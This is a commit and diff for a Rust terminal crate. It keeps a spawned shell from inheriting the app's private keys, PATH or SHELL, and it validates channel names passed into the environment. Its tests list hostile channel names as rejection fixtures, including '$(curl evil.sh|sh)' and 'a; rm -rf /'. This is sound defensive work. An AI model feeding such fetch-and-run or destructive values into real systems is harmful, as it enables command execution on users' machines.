feat(desktop): fence the terminal child's environment, PATH, and shell

A PTY child inherits its parent's environment by default, and Buzz's own
process holds the user's nsec. `CommandBuilder::new()` pre-seeds its env map
from `std::env::vars_os()` (`cmdbuilder.rs:218` -> `:74`), so the naive spawn
hands a live shell 70 variables including `BUZZ_PRIVATE_KEY`: press the toggle,
type `env`, read the signing key off the screen. Verified against a real PTY,
not inferred.

Three fences, each with the failure it exists to prevent:

* Environment: `env_clear()` first, then rebuild from an allowlist. Order is
  load-bearing and the reverse fails silently -- clearing after populating
  yields an empty environment and no error -- so the gate asserts both
  directions. Allowlist rather than denylist because a denylist is only as
  current as the last person who remembered to extend it.

* PATH: constructed, never inherited, never filtered. Buzz runs under Hermit
  activation, so an inherited PATH makes the user's `cargo` our pinned build
  toolchain -- on Linux, where no `path_helper` reorders it, at the front. The
  test seeds a uniquely-named executable into the parent PATH and proves the
  child cannot resolve it, rather than comparing PATH strings.

* Shell: `$SHELL` -> passwd -> `/bin/sh`, each candidate validated as an
  executable regular file. `access(X_OK)` alone accepts a directory, and a
  `$SHELL` of `/tmp` produces a child that aborts with a Rust runtime panic
  while `get_shell()`, `spawn_command()`, and every layer above report success.
  Raw mode bits alone accept a file the caller cannot execute. The conjunction
  is the check. The resolved shell is injected as `SHELL`, not inherited: those
  differ in exactly the cases the fallback chain exists for.

GUI context crosses a trust boundary. A channel name is attacker-controlled and
lands in a variable shells interpolate into prompts, so `BUZZ_CHANNEL` is
validated against a conservative character class and, on rejection, replaced by
the channel UUID rather than stripped -- a stripped `$(evil)` becomes `evil`,
which looks like a real channel.

Nineteen fixtures, each shown failing under the mutation it exists to catch:
deleting `env_clear`, reordering it to the end, inheriting PATH, denylisting
instead of allowlisting, dropping either half of the executability predicate,
inheriting `SHELL`, sniffing the shell's name for login flags, removing the
passwd candidate, weakening the shared validator, skipping channel-name
validation, stripping instead of substituting, dropping the length cap,
letting the display name reach `BUZZ_CHANNEL_ID`, emitting an empty
`BUZZ_THREAD_ID`, accepting `=` in a key, and adding a credential to the
desktop crate's reserved list without covering it here.

Co-authored-by: tlongwell-block <109685178+tlongwell-block@users.noreply.github.com>
Signed-off-by: tlongwell-block <109685178+tlongwell-block@users.noreply.github.com>
This commit is contained in:
npub17jjz49l9jjmhhk7cac63j8yt9z555n9cw8vk7v5jz4vzw4ppld5qgj57cc
2026-08-01 20:43:26 -04:00
co-authored by tlongwell-block
parent 54cd502009
commit c3c705583b
9 changed files with 967 additions and 13 deletions
+90 -13
View File
@@ -1203,7 +1203,9 @@ name = "buzz-terminal"
version = "0.1.0"
dependencies = [
"alacritty_terminal",
"libc",
"parking_lot",
"portable-pty",
]
[[package]]
@@ -1422,6 +1424,12 @@ version = "1.0.4"
source = "registry+https://github.com/rust-lang/crates.io-index"
checksum = "9330f8b2ff13f34540b44e946ef35111825727b38d33286ef986142615121801"
[[package]]
name = "cfg_aliases"
version = "0.1.1"
source = "registry+https://github.com/rust-lang/crates.io-index"
checksum = "fd16c4719339c4530435d38e511904438d07cce7950afa3718a84ac36c10e89e"
[[package]]
name = "cfg_aliases"
version = "0.2.1"
@@ -2623,7 +2631,7 @@ dependencies = [
"rustc_version",
"toml 1.1.2+spec-1.1.0",
"vswhom",
"winreg",
"winreg 0.55.0",
]
[[package]]
@@ -4302,7 +4310,7 @@ dependencies = [
"backon",
"blake3",
"bytes",
"cfg_aliases",
"cfg_aliases 0.2.1",
"ctutils",
"data-encoding",
"derive_more",
@@ -4370,7 +4378,7 @@ source = "registry+https://github.com/rust-lang/crates.io-index"
checksum = "516e4eedc38e33ab69a6bd325520332dc3d67b25454e2d590ebb84a25240dd9a"
dependencies = [
"arc-swap",
"cfg_aliases",
"cfg_aliases 0.2.1",
"derive_more",
"hickory-resolver",
"iroh-base",
@@ -4422,7 +4430,7 @@ checksum = "8149bb6a57126225a07d6928846d82dcedfd24ea0f863ef7b2eb475e1d726354"
dependencies = [
"blake3",
"bytes",
"cfg_aliases",
"cfg_aliases 0.2.1",
"data-encoding",
"derive_more",
"getrandom 0.4.3",
@@ -5824,7 +5832,7 @@ version = "0.3.2"
source = "registry+https://github.com/rust-lang/crates.io-index"
checksum = "e2ab99dfb861450e68853d34ae665243a88b8c493d01ba957321a1e9b2312bbe"
dependencies = [
"cfg_aliases",
"cfg_aliases 0.2.1",
"derive_more",
"futures-buffered",
"futures-lite",
@@ -6014,7 +6022,7 @@ checksum = "4d9cbe01741347ef750d743d6690603f5eed8341e679fb51c8e629337aa11976"
dependencies = [
"atomic-waker",
"bytes",
"cfg_aliases",
"cfg_aliases 0.2.1",
"derive_more",
"ipnet",
"js-sys",
@@ -6049,6 +6057,18 @@ version = "1.0.6"
source = "registry+https://github.com/rust-lang/crates.io-index"
checksum = "650eef8c711430f1a879fdd01d4745a7deea475becfb90269c06775983bbf086"
[[package]]
name = "nix"
version = "0.28.0"
source = "registry+https://github.com/rust-lang/crates.io-index"
checksum = "ab2156c4fce2f8df6c499cc1c763e4394b7482525bf2a9701c9d79d215f519e4"
dependencies = [
"bitflags 2.13.0",
"cfg-if 1.0.4",
"cfg_aliases 0.1.1",
"libc",
]
[[package]]
name = "nix"
version = "0.29.0"
@@ -6057,7 +6077,7 @@ checksum = "71e2746dc3a24dd78b3cfcb7be93368c6de9963d30f43a6a73998a9cf4b17b46"
dependencies = [
"bitflags 2.13.0",
"cfg-if 1.0.4",
"cfg_aliases",
"cfg_aliases 0.2.1",
"libc",
"memoffset",
]
@@ -6070,7 +6090,7 @@ checksum = "74523f3a35e05aba87a1d978330aef40f67b0304ac79c1c00b294c9830543db6"
dependencies = [
"bitflags 2.13.0",
"cfg-if 1.0.4",
"cfg_aliases",
"cfg_aliases 0.2.1",
"libc",
]
@@ -6082,7 +6102,7 @@ checksum = "cf20d2fde8ff38632c426f1165ed7436270b44f199fc55284c38276f9db47c3d"
dependencies = [
"bitflags 2.13.0",
"cfg-if 1.0.4",
"cfg_aliases",
"cfg_aliases 0.2.1",
"libc",
]
@@ -6112,7 +6132,7 @@ source = "registry+https://github.com/rust-lang/crates.io-index"
checksum = "4bf95190af1bd4a00a10e8255ca0c8ddd9e9a9f5e79151d7a7eb6d56aff5dc89"
dependencies = [
"bytes",
"cfg_aliases",
"cfg_aliases 0.2.1",
"derive_more",
"noq-proto",
"noq-udp",
@@ -6160,7 +6180,7 @@ version = "1.0.1"
source = "registry+https://github.com/rust-lang/crates.io-index"
checksum = "3137a52df66c20090a889828d1c655f21f52294cba64e5c4fbb04fc83eee7c8e"
dependencies = [
"cfg_aliases",
"cfg_aliases 0.2.1",
"libc",
"socket2",
"tracing",
@@ -7472,6 +7492,27 @@ dependencies = [
"portable-atomic",
]
[[package]]
name = "portable-pty"
version = "0.9.0"
source = "registry+https://github.com/rust-lang/crates.io-index"
checksum = "b4a596a2b3d2752d94f51fac2d4a96737b8705dddd311a32b9af47211f08671e"
dependencies = [
"anyhow",
"bitflags 1.3.2",
"downcast-rs",
"filedescriptor",
"lazy_static",
"libc",
"log",
"nix 0.28.0",
"serial2",
"shared_library",
"shell-words",
"winapi",
"winreg 0.10.1",
]
[[package]]
name = "portmapper"
version = "0.19.1"
@@ -7927,7 +7968,7 @@ source = "registry+https://github.com/rust-lang/crates.io-index"
checksum = "0c1a41e437b6bbd489372cd4971de128e85c855f56c57f283d20ff016cf7c0a8"
dependencies = [
"bytes",
"cfg_aliases",
"cfg_aliases 0.2.1",
"pin-project-lite",
"quinn-proto",
"quinn-udp",
@@ -7969,7 +8010,7 @@ version = "0.5.15"
source = "registry+https://github.com/rust-lang/crates.io-index"
checksum = "35a133f956daabe89a61a685c2649f13d82d5aa4bd5d12d1277e1072a21c0694"
dependencies = [
"cfg_aliases",
"cfg_aliases 0.2.1",
"libc",
"once_cell",
"socket2",
@@ -9264,6 +9305,17 @@ dependencies = [
"serde",
]
[[package]]
name = "serial2"
version = "0.2.38"
source = "registry+https://github.com/rust-lang/crates.io-index"
checksum = "b16809bc35793b19ce4e0c53924bc0dce3937f15487997cfdaed936004180730"
dependencies = [
"cfg-if 1.0.4",
"libc",
"windows-sys 0.61.2",
]
[[package]]
name = "serialize-to-javascript"
version = "0.1.2"
@@ -9364,6 +9416,22 @@ dependencies = [
"lazy_static",
]
[[package]]
name = "shared_library"
version = "0.1.9"
source = "registry+https://github.com/rust-lang/crates.io-index"
checksum = "5a9e7e0f2bfae24d8a5b5a66c5b257a83c7412304311512a0c054cd5e619da11"
dependencies = [
"lazy_static",
"libc",
]
[[package]]
name = "shell-words"
version = "1.1.1"
source = "registry+https://github.com/rust-lang/crates.io-index"
checksum = "dc6fe69c597f9c37bfeeeeeb33da3530379845f10be461a66d16d03eca2ded77"
[[package]]
name = "shellexpand"
version = "3.1.2"
@@ -12912,6 +12980,15 @@ dependencies = [
"memchr",
]
[[package]]
name = "winreg"
version = "0.10.1"
source = "registry+https://github.com/rust-lang/crates.io-index"
checksum = "80d0f4e272c85def139476380b12f9ac60926689dd2e01d4923222f40580869d"
dependencies = [
"winapi",
]
[[package]]
name = "winreg"
version = "0.55.0"
@@ -7,6 +7,10 @@ license = "Apache-2.0"
[dependencies]
alacritty_terminal = { version = "0.26.0", default-features = false }
parking_lot = "0.12"
portable-pty = "0.9"
[target.'cfg(unix)'.dependencies]
libc = "0.2"
[dev-dependencies]
# Tests reach into the grid to prove content survived a frame.
@@ -0,0 +1,103 @@
//! GUI context injected into the child shell.
//!
//! The terminal knows which channel and thread the user is looking at, so a
//! script in the substrate can act on it. That context crosses a trust
//! boundary: a channel *name* is attacker-controlled — anyone who can create
//! a channel picks the string — and it lands in an environment variable that
//! shells interpolate into prompts. A `PS1` containing `$BUZZ_CHANNEL` turns a
//! channel named `$(curl evil.sh|sh)` into command execution the moment the
//! user opens a terminal.
//!
//! Two rules follow, and the second one is the load-bearing one:
//!
//! 1. **Validate, don't sanitize.** Stripping dangerous characters is an
//! endless negotiation with an attacker who chooses the input. We accept a
//! conservative character class and reject everything else.
//! 2. **On rejection, substitute — never strip.** A stripped name is still a
//! name, and it is *wrong* in a way the user cannot see: `$(evil)` becomes
//! `evil`, which looks like a real channel. We substitute the channel UUID,
//! which is unambiguous, always safe, and visibly not a name — the user can
//! tell something was replaced.
/// Maximum accepted channel-name length, in characters.
const MAX_CHANNEL_NAME_CHARS: usize = 64;
/// The GUI state a spawned terminal is told about.
#[derive(Debug, Clone)]
pub struct GuiContext {
pub channel_id: String,
pub channel_name: String,
pub thread_id: Option<String>,
pub npub: String,
pub relay_url: String,
pub session_id: String,
}
/// Returns true if `name` is safe to expose as `BUZZ_CHANNEL`.
///
/// Unicode letters, digits and marks are accepted so non-Latin channel names
/// survive, plus space and `-`/`_`/`.`. Everything a shell gives meaning to —
/// `$`, backtick, `;`, `|`, `&`, quotes, newline, NUL, `=` — is outside the
/// class and therefore rejected rather than removed.
fn is_safe_channel_name(name: &str) -> bool {
!name.is_empty()
&& name.chars().count() <= MAX_CHANNEL_NAME_CHARS
&& name
.chars()
.all(|c| c.is_alphanumeric() || matches!(c, ' ' | '-' | '_' | '.'))
}
/// The value to expose as `BUZZ_CHANNEL`: the name when it is safe, otherwise
/// the channel UUID.
pub fn channel_display(context: &GuiContext) -> &str {
if is_safe_channel_name(&context.channel_name) {
&context.channel_name
} else {
&context.channel_id
}
}
/// Returns true if `key` is a well-formed POSIX env var name:
/// `[A-Za-z_][A-Za-z0-9_]*`.
///
/// Mirrors `is_well_formed_env_key` in the desktop crate
/// (`src/managed_agents/env_vars.rs`), whose rationale applies verbatim here:
/// `CommandBuilder::env` will pass a key containing `=` straight into the
/// child's environ block, where `getenv("FOO")` matches whatever follows the
/// first `=`. A key `BUZZ_CHANNEL=x` with value `y` lands as
/// `BUZZ_CHANNEL=x=y`, so `getenv("BUZZ_CHANNEL")` returns `"x=y"` — a way to
/// forge a variable the fence otherwise controls.
///
/// Every key we inject is a compile-time literal today, so this cannot fire
/// yet. It is here because the *next* injected key may not be: the check
/// belongs at the boundary, not in the reviewer's memory.
pub fn is_well_formed_env_key(key: &str) -> bool {
let mut chars = key.chars();
match chars.next() {
Some(c) if c == '_' || c.is_ascii_alphabetic() => {}
_ => return false,
}
chars.all(|c| c == '_' || c.is_ascii_alphanumeric())
}
/// The context variables to inject, in order.
///
/// `BUZZ_CHANNEL` carries the validated display value; `BUZZ_CHANNEL_ID` is
/// always the UUID, so a script that needs an unambiguous identifier has one
/// that no channel name can spoof.
pub fn context_vars(context: &GuiContext) -> Vec<(&'static str, String)> {
let mut vars = vec![
("BUZZ_CHANNEL_ID", context.channel_id.clone()),
("BUZZ_CHANNEL", channel_display(context).to_owned()),
("BUZZ_NPUB", context.npub.clone()),
("BUZZ_RELAY_URL", context.relay_url.clone()),
("BUZZ_TERM_SESSION", context.session_id.clone()),
("BUZZ_TERM_VERSION", env!("CARGO_PKG_VERSION").to_owned()),
];
// Absent rather than empty when the user is not in a thread: `-n
// "$BUZZ_THREAD_ID"` and `${BUZZ_THREAD_ID+set}` should agree.
if let Some(thread_id) = &context.thread_id {
vars.push(("BUZZ_THREAD_ID", thread_id.clone()));
}
vars
}
@@ -0,0 +1,139 @@
//! T-1: the channel name is attacker-controlled and reaches a shell.
use crate::context::{channel_display, context_vars, is_well_formed_env_key, GuiContext};
const UUID: &str = "dbb5c335-bbce-4969-8635-7dae8338ea5b";
fn context_named(channel_name: &str) -> GuiContext {
GuiContext {
channel_id: UUID.to_owned(),
channel_name: channel_name.to_owned(),
thread_id: None,
npub: "npub1example".to_owned(),
relay_url: "wss://relay.example".to_owned(),
session_id: "session-1".to_owned(),
}
}
/// Ordinary names survive intact, including non-Latin scripts. A validator
/// that rejected these would be "safe" and useless.
#[test]
fn benign_channel_names_pass_through_unchanged() {
for name in [
"buzz-tui",
"General Chat",
"release_2.0",
"日本語チャンネル",
"Ünicode Ñames",
] {
let context = context_named(name);
assert_eq!(channel_display(&context), name, "rejected a benign name");
}
}
/// Shell metacharacters are rejected — and the substitute is the UUID, not a
/// stripped name. Stripping would turn `$(evil)` into `evil`, which is
/// indistinguishable from a real channel called `evil`.
#[test]
fn hostile_channel_names_are_replaced_by_the_uuid() {
for name in [
"$(curl evil.sh|sh)",
"`id`",
"a; rm -rf /",
"a\nPS1=pwned",
"a$IFS$9",
"x=y",
"'; echo pwned; '",
"a\0b",
] {
let context = context_named(name);
let shown = channel_display(&context);
assert_eq!(
shown, UUID,
"hostile name was not replaced by the UUID: {name:?} -> {shown:?}"
);
}
}
/// The substitution must be *whole*, not a filtered version of the input. A
/// strip-sanitizer passes the "no metacharacters" check while still echoing
/// attacker-chosen text.
#[test]
fn rejection_substitutes_rather_than_strips() {
let context = context_named("$(curl evil.sh|sh)");
let shown = channel_display(&context);
assert!(
!shown.contains("curl") && !shown.contains("evil"),
"attacker-chosen text survived rejection: {shown:?}"
);
}
/// Over-long names are rejected: an env var is not a place for unbounded
/// attacker input, and a 10 KB prompt is its own denial of service.
#[test]
fn over_long_channel_names_are_replaced() {
let context = context_named(&"a".repeat(65));
assert_eq!(channel_display(&context), UUID);
let ok = context_named(&"a".repeat(64));
assert_eq!(channel_display(&ok), "a".repeat(64));
}
/// `BUZZ_CHANNEL_ID` is always the UUID, so a script has an identifier that no
/// channel name can spoof — including a channel *named* like a UUID.
#[test]
fn channel_id_is_never_the_name() {
let context = context_named("11111111-2222-3333-4444-555555555555");
let vars = context_vars(&context);
let id = vars.iter().find(|(k, _)| *k == "BUZZ_CHANNEL_ID").unwrap();
assert_eq!(
id.1, UUID,
"a UUID-shaped channel name displaced the real id"
);
}
/// Absent rather than empty: `${BUZZ_THREAD_ID+set}` and `-n` must agree.
#[test]
fn thread_id_is_absent_when_there_is_no_thread() {
let vars = context_vars(&context_named("buzz-tui"));
assert!(!vars.iter().any(|(k, _)| *k == "BUZZ_THREAD_ID"));
let mut context = context_named("buzz-tui");
context.thread_id = Some("thread-1".to_owned());
let vars = context_vars(&context);
assert_eq!(
vars.iter()
.find(|(k, _)| *k == "BUZZ_THREAD_ID")
.map(|(_, v)| v.as_str()),
Some("thread-1")
);
}
/// Every injected key must be POSIX-shaped. A key containing `=` would let
/// the value forge a second variable in the child's environ block.
#[test]
fn every_injected_key_is_well_formed() {
for (key, _) in context_vars(&context_named("buzz-tui")) {
assert!(
is_well_formed_env_key(key),
"malformed injected key: {key:?}"
);
}
}
/// The guard itself, including the bypass shape it exists for.
#[test]
fn well_formed_key_rejects_the_equals_bypass() {
for good in ["BUZZ_CHANNEL", "_UNDERSCORE", "A1"] {
assert!(is_well_formed_env_key(good), "rejected {good:?}");
}
for bad in [
"BUZZ_CHANNEL=x",
"",
"1LEADING_DIGIT",
"HAS SPACE",
"HAS\0NUL",
"kebab-case",
] {
assert!(!is_well_formed_env_key(bad), "accepted {bad:?}");
}
}
@@ -0,0 +1,85 @@
//! Environment fence for spawned PTY children.
//!
//! Buzz's own process holds `BUZZ_PRIVATE_KEY` (an nsec), `BUZZ_AUTH_TAG`, and
//! relay credentials. `portable_pty::CommandBuilder::new()` pre-seeds its env
//! map from `std::env::vars_os()` (`cmdbuilder.rs:218` -> `get_base_env()`
//! `:74`), so a shell spawned with the default builder inherits **all** of it:
//! the user types `env` and reads the signing key off the screen.
//!
//! The in-repo `feat/terminal` branch (`4f287d158`, abandoned 2026-05-22)
//! demonstrates the failure mode this module exists to prevent. It removed
//! seven Hermit/macOS keys by denylist under a comment promising "a clean
//! environment" and passed 68 variables — including the nsec — to the child.
//! A denylist is only as current as the last time someone remembered to
//! extend it; it was correct for the polluted-`PATH` threat it was written
//! for and became a key-disclosure bug when the app started holding secrets.
//!
//! So: **allowlist, never denylist.** Clear the inherited environment
//! wholesale, then rebuild only what a terminal legitimately needs.
use portable_pty::CommandBuilder;
/// Keys the child is allowed to inherit from Buzz's own environment.
///
/// Deliberately minimal: each entry is something a shell genuinely cannot
/// function without, or that visibly degrades the session by its absence.
/// Anything not listed here does not reach the child, including keys that do
/// not exist yet — which is the property a denylist cannot offer.
const INHERIT_ALLOWLIST: &[&str] = &[
"HOME", // shell startup files, ~ expansion
"USER", // prompt expansion, `whoami`-adjacent tooling
"LOGNAME", // POSIX companion to USER
"LANG", // UTF-8 decoding of the child's own output
"LC_ALL", // explicit locale override, when set
"LC_CTYPE", // character classification; wide/emoji handling
"TZ", // timestamps in prompts and logs
"TMPDIR", // per-user temp dir; absence breaks many tools on macOS
];
/// Values Buzz sets on the child unconditionally, overriding any inherited
/// value. `TERM` in particular must describe *our* emulator, not whatever
/// terminal happened to launch the desktop app.
const OVERRIDES: &[(&str, &str)] = &[
("TERM", "xterm-256color"),
("TERM_PROGRAM", "Buzz"),
("COLORTERM", "truecolor"),
];
/// Applies the environment fence to `cmd`, returning it for chaining.
///
/// Ordering is load-bearing and the reverse fails silently: `env_clear()`
/// discards every accumulated entry, so clearing *after* populating yields a
/// child with an empty environment and no error anywhere. Clear first, then
/// rebuild.
///
/// `shell` is the *resolved* shell from [`crate::shell::resolve_shell`], and
/// it is injected rather than inherited. Buzz's own `SHELL` and the shell we
/// actually spawn are different values in exactly the cases the resolution
/// fallback exists for — a Finder-launched app with no `$SHELL`, or a
/// `$SHELL` that fails the executable-regular-file check — so inheriting it
/// would tell the child it is running something it is not.
pub fn fence_env(cmd: &mut CommandBuilder, path: &str, shell: &str) {
// 1. Drop the inherited environment wholesale, secrets included.
cmd.env_clear();
// 2. Rebuild only the allowlisted keys that are actually present.
for key in INHERIT_ALLOWLIST {
if let Some(value) = std::env::var_os(key) {
cmd.env(key, value);
}
}
// 3. Apply Buzz's own terminal identity.
for (key, value) in OVERRIDES {
cmd.env(key, value);
}
// 4. PATH is supplied by the caller rather than inherited; see
// `path::user_shell_path`.
cmd.env("PATH", path);
// 5. The resolved shell, last. `CommandBuilder::as_command` writes its own
// `SHELL` before applying this map (`cmdbuilder.rs:528-536`), so our
// explicit entry is the one the child sees.
cmd.env("SHELL", shell);
}
@@ -0,0 +1,359 @@
//! Secret-leak gate for the environment fence.
//!
//! These tests spawn a real PTY child and read its actual environment. An
//! assertion against the `CommandBuilder` alone would be weaker: it would not
//! prove that what the builder holds is what the kernel hands the child.
use crate::env_fence::fence_env;
use crate::path::user_shell_path;
use crate::shell::{is_executable_file, login_argv0, resolve_shell, FALLBACK_SHELL};
use portable_pty::{native_pty_system, CommandBuilder, PtySize};
use std::io::Read;
/// Secrets Buzz's own process holds. Sourced from the desktop crate's
/// `RESERVED_ENV_KEYS` (`src/managed_agents/env_vars.rs:58`); duplicated
/// rather than imported because this crate deliberately has no dependency
/// on the Tauri crate. `reserved_keys_are_covered` keeps the two in step.
const SECRET_KEYS: &[&str] = &[
"BUZZ_PRIVATE_KEY",
"NOSTR_PRIVATE_KEY",
"BUZZ_AUTH_TAG",
"BUZZ_API_TOKEN",
"BUZZ_ACP_PRIVATE_KEY",
"BUZZ_ACP_API_TOKEN",
"BUZZ_RELAY_URL",
];
const CANARY: &str = "SAMI_CANARY_MUST_NOT_LEAK";
/// Uniquely-named executable seeded into Buzz's own PATH; the child must not
/// be able to run it.
const CANARY_BIN: &str = "buzz-hermit-canary-tool";
/// Creates a fixture file at `name` with `mode`, replacing any leftover from
/// a previous run.
///
/// The removal is not tidiness: a fixture written at mode `0o010` is not
/// writable by its own owner, so a second run in the same temp dir fails with
/// `Permission denied` before reaching a single assertion. Green on a fresh
/// runner, red on a persistent one — a test must not depend on which it got.
#[cfg(unix)]
fn fixture_file(name: &str, contents: &str, mode: u32) -> std::path::PathBuf {
use std::os::unix::fs::PermissionsExt;
let path = std::env::temp_dir().join(name);
let _ = std::fs::remove_file(&path);
std::fs::write(&path, contents).expect("write fixture");
std::fs::set_permissions(&path, std::fs::Permissions::from_mode(mode)).expect("chmod fixture");
path
}
/// Runs `env` in a real PTY child under the full fence and returns its output.
fn fenced_child_environment() -> String {
let shell = resolve_shell(std::env::var("SHELL").ok().as_deref());
child_environment(|cmd| fence_env(cmd, &user_shell_path(), &shell))
}
/// Runs `env` in a real PTY child and returns its raw output.
fn child_environment(build: impl FnOnce(&mut CommandBuilder)) -> String {
child_command(build, "env")
}
/// Runs `script` in a real PTY child under `build`'s fence and returns the
/// child's output.
///
/// The child is a real process on a real PTY rather than an inspection of the
/// `CommandBuilder`: the builder is what we asked for, and the child's
/// `environ` is what the kernel actually delivered. Only the second one is the
/// property under test.
fn child_command(build: impl FnOnce(&mut CommandBuilder), script: &str) -> String {
let pty = native_pty_system();
let pair = pty
.openpty(PtySize {
rows: 24,
cols: 80,
pixel_width: 0,
pixel_height: 0,
})
.expect("openpty");
let mut cmd = CommandBuilder::new("/bin/sh");
build(&mut cmd);
cmd.arg("-c");
cmd.arg(script);
let mut child = pair.slave.spawn_command(cmd).expect("spawn");
drop(pair.slave);
let mut reader = pair.master.try_clone_reader().expect("reader");
let mut out = String::new();
reader.read_to_string(&mut out).expect("read child output");
child.wait().expect("wait");
out
}
/// Seeds this process with secrets so the fence has something to leak.
///
/// Note these are process-global; the tests that rely on them assert on a
/// canary value they set themselves, so a real `BUZZ_PRIVATE_KEY` in the
/// developer's environment neither masks a failure nor causes one.
fn seed_secrets() {
for key in SECRET_KEYS {
std::env::set_var(key, format!("{CANARY}_{key}"));
}
}
#[test]
fn fence_keeps_secrets_out_of_the_child() {
seed_secrets();
let out = fenced_child_environment();
assert!(
!out.contains(CANARY),
"a reserved secret reached the child environment:\n{out}"
);
for key in SECRET_KEYS {
assert!(
!out.lines().any(|line| line.starts_with(&format!("{key}="))),
"{key} reached the child environment:\n{out}"
);
}
}
/// The other half of the assertion. A fence that clears in the wrong order
/// produces an empty environment: it passes the leak check above while
/// shipping a shell with no context and no error. Asserting only the negative
/// would ratify that bug.
#[test]
fn fence_still_delivers_the_terminal_contract() {
seed_secrets();
let out = fenced_child_environment();
for (key, value) in [("TERM", "xterm-256color"), ("TERM_PROGRAM", "Buzz")] {
assert!(
out.lines().any(|line| line == format!("{key}={value}")),
"{key} missing from child environment:\n{out}"
);
}
assert!(
out.lines().any(|line| line.starts_with("PATH=")),
"PATH missing from child environment:\n{out}"
);
}
/// The fence must be exhaustive, not enumerated: a secret invented tomorrow
/// is excluded because it was never allowlisted. This is the property the
/// `feat/terminal` denylist could not offer.
#[test]
fn fence_excludes_keys_it_has_never_heard_of() {
std::env::set_var("BUZZ_SOME_FUTURE_CREDENTIAL", CANARY);
let out = fenced_child_environment();
assert!(
!out.contains("BUZZ_SOME_FUTURE_CREDENTIAL"),
"an unknown key reached the child:\n{out}"
);
}
/// `PATH` is constructed, not inherited, so Buzz's Hermit build toolchain
/// never becomes the user's shell toolchain.
///
/// The assertion is *reachability*, not a string comparison: we seed a
/// uniquely-named executable into this process's `PATH` and prove the child
/// cannot run it. A string check would pass a fence that inherited a
/// differently-spelled toolchain directory, and would fail a fence that
/// legitimately contained the substring; `command -v` asks the question the
/// user actually asks by typing a command name.
#[test]
fn child_path_is_free_of_buzz_toolchain() {
let dir = std::env::temp_dir().join("buzz-terminal-path-canary");
std::fs::create_dir_all(&dir).expect("canary dir");
let canary = dir.join(CANARY_BIN);
std::fs::write(&canary, "#!/bin/sh\necho canary\n").expect("write canary");
#[cfg(unix)]
{
use std::os::unix::fs::PermissionsExt;
std::fs::set_permissions(&canary, std::fs::Permissions::from_mode(0o755))
.expect("chmod canary");
}
// Stand in for Hermit activation: Buzz's own PATH leads with a directory
// holding a tool the user does not have.
std::env::set_var("PATH", format!("{}:/usr/bin:/bin", dir.display()));
assert!(
is_executable_file(&canary),
"test setup: canary must be executable"
);
let shell = resolve_shell(std::env::var("SHELL").ok().as_deref());
let out = child_environment(|cmd| {
fence_env(cmd, &user_shell_path(), &shell);
});
let path_line = out
.lines()
.find(|line| line.starts_with("PATH="))
.expect("child has a PATH");
assert!(
!path_line.contains("buzz-terminal-path-canary"),
"Buzz's toolchain leaked into the child PATH: {path_line}"
);
// The reachability arm: run `command -v` for the canary inside the fence.
let resolved = child_command(
|cmd| fence_env(cmd, &user_shell_path(), &shell),
&format!("command -v {CANARY_BIN} || echo CANARY_UNREACHABLE"),
);
assert!(
resolved.contains("CANARY_UNREACHABLE"),
"a Buzz-only executable was reachable from the child shell: {resolved}"
);
}
/// `$SHELL` is honoured when it names an executable regular file.
#[test]
fn resolve_shell_prefers_a_valid_shell_env() {
assert_eq!(resolve_shell(Some("/bin/sh")), "/bin/sh");
}
/// The other direction: an unset `$SHELL` must fall through to the **passwd
/// database**, not to the hardcoded fallback.
///
/// Asserting merely that the result is executable is vacuous — `/bin/sh` is
/// executable, so a resolver with the passwd step deleted entirely passes it.
/// Verified: mutant M8 (drop `.or_else(passwd_shell)`) survived that weaker
/// assertion. The property is *equality with the passwd entry*, and the
/// discriminating-power guard below refuses to pass silently on a machine
/// where the two candidates coincide.
#[test]
fn resolve_shell_falls_through_to_passwd_not_the_default() {
let Some(passwd) = crate::shell::passwd_shell() else {
panic!("no usable passwd shell; this gate cannot run on this machine");
};
assert_ne!(
passwd, FALLBACK_SHELL,
"passwd shell equals the fallback, so this test cannot tell the \
passwd step from its absence; it must not report success"
);
assert_eq!(
resolve_shell(None),
passwd,
"an unset $SHELL did not resolve to the passwd entry"
);
}
/// `access(X_OK)` returns 0 for a directory, so a `$SHELL` pointing at one
/// passes portable-pty's own check and produces a child that dies with a Rust
/// runtime panic. Requiring an executable *regular file* is what closes it.
#[test]
fn resolve_shell_rejects_a_directory_that_passes_x_ok() {
let dir = std::env::temp_dir();
assert!(
!is_executable_file(&dir),
"a directory must not qualify as a shell"
);
assert_ne!(
resolve_shell(dir.to_str()),
dir.to_str().unwrap(),
"a directory $SHELL was accepted; the child would abort on spawn"
);
}
/// Raw mode bits are not effective executability: a self-owned regular file
/// at mode `0o010` has `mode & 0o111 != 0` while `access(X_OK)` fails and
/// running it gives `Permission denied`. The metadata half of the predicate
/// cannot see this; only the `access` half can.
#[test]
fn resolve_shell_rejects_a_file_the_user_cannot_execute() {
use std::os::unix::fs::PermissionsExt;
let path = fixture_file("buzz-terminal-group-only-exec", "#!/bin/sh\ntrue\n", 0o010);
let mode = std::fs::metadata(&path).expect("stat").permissions().mode();
assert!(
mode & 0o111 != 0,
"test setup: some class must hold an execute bit, else this arm \
cannot discriminate the mode check from the access check"
);
assert!(
!is_executable_file(&path),
"a file the effective user cannot execute was accepted as a shell"
);
assert_ne!(resolve_shell(path.to_str()), path.to_str().unwrap());
}
/// A non-executable regular file falls through as well.
#[test]
fn resolve_shell_rejects_a_non_executable_file() {
let path = fixture_file("buzz-terminal-not-a-shell", "not a shell", 0o644);
assert_ne!(resolve_shell(path.to_str()), path.to_str().unwrap());
}
/// The login convention is `-<basename>`, applied without inspecting the
/// shell's name. Any shell — including ones that do not exist yet — gets
/// login semantics from argv0 rather than from a flag we guessed.
#[test]
fn login_argv0_is_shell_neutral() {
for (shell, expected) in [
("/bin/zsh", "-zsh"),
("/usr/local/bin/fish", "-fish"),
("/opt/nu/bin/nu", "-nu"),
(FALLBACK_SHELL, "-sh"),
] {
assert_eq!(login_argv0(shell), expected);
}
}
/// The child must be told the shell we actually spawned, not the one Buzz
/// itself was launched under. Asserting `SHELL` is merely present would pass
/// for an inherited value, which is wrong in exactly the fallback cases.
#[test]
fn child_shell_is_the_resolved_shell_not_the_inherited_one() {
std::env::set_var("SHELL", "/definitely/not/a/real/shell");
let resolved = resolve_shell(std::env::var("SHELL").ok().as_deref());
assert_ne!(
resolved, "/definitely/not/a/real/shell",
"test setup: the bogus shell must not resolve"
);
let out = child_environment(|cmd| fence_env(cmd, &user_shell_path(), &resolved));
assert!(
out.lines().any(|line| line == format!("SHELL={resolved}")),
"child SHELL is not the resolved shell (expected {resolved}):\n{out}"
);
assert!(
!out.contains("/definitely/not/a/real/shell"),
"the inherited SHELL reached the child:\n{out}"
